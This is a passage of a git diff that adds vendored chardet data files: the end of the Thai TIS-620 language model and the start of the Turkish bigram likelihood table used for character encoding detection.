'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 2, # '๑' + 59: 1, # '๒' + 60: 1, # '๕' + }, + 59: { # '๒' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 1, # '๑' + 59: 1, # '๒' + 60: 3, # '๕' + }, + 60: { # '๕' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 2, # '๑' + 59: 1, # '๒' + 60: 0, # '๕' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +TIS_620_THAI_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 182, # 'A' + 66: 106, # 'B' + 67: 107, # 'C' + 68: 100, # 'D' + 69: 183, # 'E' + 70: 184, # 'F' + 71: 185, # 'G' + 72: 101, # 'H' + 73: 94, # 'I' + 74: 186, # 'J' + 75: 187, # 'K' + 76: 108, # 'L' + 77: 109, # 'M' + 78: 110, # 'N' + 79: 111, # 'O' + 80: 188, # 'P' + 81: 189, # 'Q' + 82: 190, # 'R' + 83: 89, # 'S' + 84: 95, # 'T' + 85: 112, # 'U' + 86: 113, # 'V' + 87: 191, # 'W' + 88: 192, # 'X' + 89: 193, # 'Y' + 90: 194, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 64, # 'a' + 98: 72, # 'b' + 99: 73, # 'c' + 100: 114, # 'd' + 101: 74, # 'e' + 102: 115, # 'f' + 103: 116, # 'g' + 104: 102, # 'h' + 105: 81, # 'i' + 106: 201, # 'j' + 107: 117, # 'k' + 108: 90, # 'l' + 109: 103, # 'm' + 110: 78, # 'n' + 111: 82, # 'o' + 112: 96, # 'p' + 113: 202, # 'q' + 114: 91, # 'r' + 115: 79, # 's' + 116: 84, # 't' + 117: 104, # 'u' + 118: 105, # 'v' + 119: 97, # 'w' + 120: 98, # 'x' + 121: 92, # 'y' + 122: 203, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 209, # '\x80' + 129: 210, # '\x81' + 130: 211, # '\x82' + 131: 212, # '\x83' + 132: 213, # '\x84' + 133: 88, # '\x85' + 134: 214, # '\x86' + 135: 215, # '\x87' + 136: 216, # '\x88' + 137: 217, # '\x89' + 138: 218, # '\x8a' + 139: 219, # '\x8b' + 140: 220, # '\x8c' + 141: 118, # '\x8d' + 142: 221, # '\x8e' + 143: 222, # '\x8f' + 144: 223, # '\x90' + 145: 224, # '\x91' + 146: 99, # '\x92' + 147: 85, # '\x93' + 148: 83, # '\x94' + 149: 225, # '\x95' + 150: 226, # '\x96' + 151: 227, # '\x97' + 152: 228, # '\x98' + 153: 229, # '\x99' + 154: 230, # '\x9a' + 155: 231, # '\x9b' + 156: 232, # '\x9c' + 157: 233, # '\x9d' + 158: 234, # '\x9e' + 159: 235, # '\x9f' + 160: 236, # None + 161: 5, # 'ก' + 162: 30, # 'ข' + 163: 237, # 'ฃ' + 164: 24, # 'ค' + 165: 238, # 'ฅ' + 166: 75, # 'ฆ' + 167: 8, # 'ง' + 168: 26, # 'จ' + 169: 52, # 'ฉ' + 170: 34, # 'ช' + 171: 51, # 'ซ' + 172: 119, # 'ฌ' + 173: 47, # 'ญ' + 174: 58, # 'ฎ' + 175: 57, # 'ฏ' + 176: 49, # 'ฐ' + 177: 53, # 'ฑ' + 178: 55, # 'ฒ' + 179: 43, # 'ณ' + 180: 20, # 'ด' + 181: 19, # 'ต' + 182: 44, # 'ถ' + 183: 14, # 'ท' + 184: 48, # 'ธ' + 185: 3, # 'น' + 186: 17, # 'บ' + 187: 25, # 'ป' + 188: 39, # 'ผ' + 189: 62, # 'ฝ' + 190: 31, # 'พ' + 191: 54, # 'ฟ' + 192: 45, # 'ภ' + 193: 9, # 'ม' + 194: 16, # 'ย' + 195: 2, # 'ร' + 196: 61, # 'ฤ' + 197: 15, # 'ล' + 198: 239, # 'ฦ' + 199: 12, # 'ว' + 200: 42, # 'ศ' + 201: 46, # 'ษ' + 202: 18, # 'ส' + 203: 21, # 'ห' + 204: 76, # 'ฬ' + 205: 4, # 'อ' + 206: 66, # 'ฮ' + 207: 63, # 'ฯ' + 208: 22, # 'ะ' + 209: 10, # 'ั' + 210: 1, # 'า' + 211: 36, # 'ำ' + 212: 23, # 'ิ' + 213: 13, # 'ี' + 214: 40, # 'ึ' + 215: 27, # 'ื' + 216: 32, # 'ุ' + 217: 35, # 'ู' + 218: 86, # 'ฺ' + 219: 240, # None + 220: 241, # None + 221: 242, # None + 222: 243, # None + 223: 244, # '฿' + 224: 11, # 'เ' + 225: 28, # 'แ' + 226: 41, # 'โ' + 227: 29, # 'ใ' + 228: 33, # 'ไ' + 229: 245, # 'ๅ' + 230: 50, # 'ๆ' + 231: 37, # '็' + 232: 6, # '่' + 233: 7, # '้' + 234: 67, # '๊' + 235: 77, # '๋' + 236: 38, # '์' + 237: 93, # 'ํ' + 238: 246, # '๎' + 239: 247, # '๏' + 240: 68, # '๐' + 241: 56, # '๑' + 242: 59, # '๒' + 243: 65, # '๓' + 244: 69, # '๔' + 245: 60, # '๕' + 246: 70, # '๖' + 247: 80, # '๗' + 248: 71, # '๘' + 249: 87, # '๙' + 250: 248, # '๚' + 251: 249, # '๛' + 252: 250, # None + 253: 251, # None + 254: 252, # None + 255: 253, # None +} + +TIS_620_THAI_MODEL = SingleByteCharSetModel(charset_name='TIS-620', + language='Thai', + char_to_order_map=TIS_620_THAI_CHAR_TO_ORDER, + language_model=THAI_LANG_MODEL, + typical_positive_ratio=0.926386, + keep_ascii_letters=False, + alphabet='กขฃคฅฆงจฉชซฌญฎฏฐฑฒณดตถทธนบปผฝพฟภมยรฤลฦวศษสหฬอฮฯะัาำิีึืฺุู฿เแโใไๅๆ็่้๊๋์ํ๎๏๐๑๒๓๔๕๖๗๘๙๚๛') + diff --git a/src/thirdparty/chardet/langturkishmodel.py b/src/thirdparty/chardet/langturkishmodel.py new file mode 100644 index 0000000000..94e39f5e22 --- /dev/null +++ b/src/thirdparty/chardet/langturkishmodel.py @@ -0,0 +1,4383 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +TURKISH_LANG_MODEL = { + 23: { # 'A' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 37: { # 'B' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 47: { # 'C' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 39: { # 'D' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 0, # 'ş' + }, + 29: { # 'E' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 52: { # 'F' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 1, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 2, # 'ş' + }, + 36: { # 'G' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 2, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 1, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 45: { # 'H' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 2, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 2, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 53: { # 'I' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 60: { # 'J' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 16: { # 'K' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 1, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 49: { # 'L' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 2, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, 